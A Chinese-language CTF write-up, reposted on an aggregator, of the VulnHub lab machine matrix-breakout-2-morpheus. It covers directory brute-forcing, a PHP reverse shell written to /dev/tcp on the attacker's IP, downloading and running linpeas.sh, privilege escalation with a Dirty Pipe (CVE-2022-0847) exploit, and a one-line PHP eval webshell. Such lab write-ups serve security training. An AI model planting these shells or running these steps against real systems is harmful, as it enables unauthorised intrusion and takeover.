11

vulnhub靶场渗透实战15-matrix-breakout-2-morpheus - yang咩咩学IT

 1 year ago
source link: https://www.cnblogs.com/yang-miemie/p/17100912.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

vulnhub靶场渗透实战15-matrix-breakout-2-morpheus

vulnhub靶场渗透实战15-matrix-breakout-2-morpheus

靶机搭建:vulnhub上是说vbox里更合适。可能有vbox版本兼容问题,我用的vmware导入。

靶场下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova

网络模式:桥接。

一:信息收集

2789103-20230208103535967-1912682083.png

2;访问端口信息。三位一体不会玩。

img
img

3;目录爆破一下,继续寻找。

img
img

4;文件爆破一下,

ffuf -u http://192.168.1.35/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html
gobuster dir -u http://192.168.1.35 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
img
img

5;输入消息的地方好像有bug。试试。发布的东西被记录到txt文件里了。

img

二:漏洞利用。

1;burp抓包看一下数据包,

这里是一个file变量,改变file变量可以直接对靶机文件修改,能随意创建文件。准备反弹shell。

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.34/8888 0>&1'"); ?>
2789103-20230208103512444-584178032.png

2;监听成功。

2789103-20230208103457926-214820954.png

3;发现一个txt的文件。提示,和一张图片。

www-data@morpheus:/$ ls -al
2789103-20230208103441052-1248289131.png

要找到cypher的密码!!

2789103-20230208103422809-438539453.png

4;访问一下图片,把图片复制到kali里面去,可能藏着东西喔。

复制不了的,也可以下载。

wget http://192.168.1.35/.cypher-neo.png
2789103-20230208103354082-404531761.png
binwalk -w cypher-neo.png
binwalk -e cypher-neo.png --run-as=root  
换这个工具查看隐藏信息,然后提取出来,然后提示我们加--run-as=root,之后目录下会多个目录,
zlib这个提取不太会,就换个方式吧!等哪天有大佬从这儿解了,我再来更新学习吧!
https://www.cnblogs.com/ainsliaea/p/15780903.html
https://blog.csdn.net/qq_40574571/article/details/80164981
2789103-20230208103340765-1410781428.png

5:传信息收集的工具上去,

python3 -m http.server 8000
wget http://192.168.1.34:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
2789103-20230208103254750-292860821.png
2789103-20230208103242811-830717418.png

这里我们用这个:mirrors / r1is / CVE-2022-0847 · GitCode

2789103-20230208103147327-729271922.png
 到这的话我们就提权成功了。前面让我们找到cypher的密码,zlib不会提取,试试爆破!家目录下有个flag。
python3 -c 'import pty; pty.spawn("/bin/bash")'  把权限变成交互式shell。
没爆破出来!
2789103-20230208103126256-2118011978.png
2789103-20230208175554080-1508952129.png

也可以写个马,连接蚁剑看看文件里面有没有什么信息。

<?php eval(@$_POST['password']);?>
2789103-20230208103114342-1695996809.png
2789103-20230208103103013-194462858.png

1:目录扫描,多用几种工具,dirb、gobuster、dirsearch ,ffuf等。

2:写入shell:通过抓包写入反弹 shell,写一句话木马连接工具。

3;遇到不是很懂的程序,投机取巧一下,利用漏洞提权。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK